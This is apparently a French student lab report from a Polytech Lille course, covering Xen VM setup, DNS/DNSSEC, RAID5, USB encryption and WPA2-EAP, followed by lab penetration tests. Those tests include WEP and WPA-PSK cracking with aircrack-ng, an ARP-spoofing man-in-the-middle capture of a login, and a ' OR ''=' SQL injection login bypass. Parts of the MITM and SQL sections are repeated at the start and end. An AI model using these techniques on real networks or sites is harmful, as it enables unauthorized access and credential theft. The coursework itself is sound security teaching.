On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

TP sysres IMA2a5 2020/2021 G7

2020-12-15T15:24:21Z

Lchenu : /* Réalisation */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
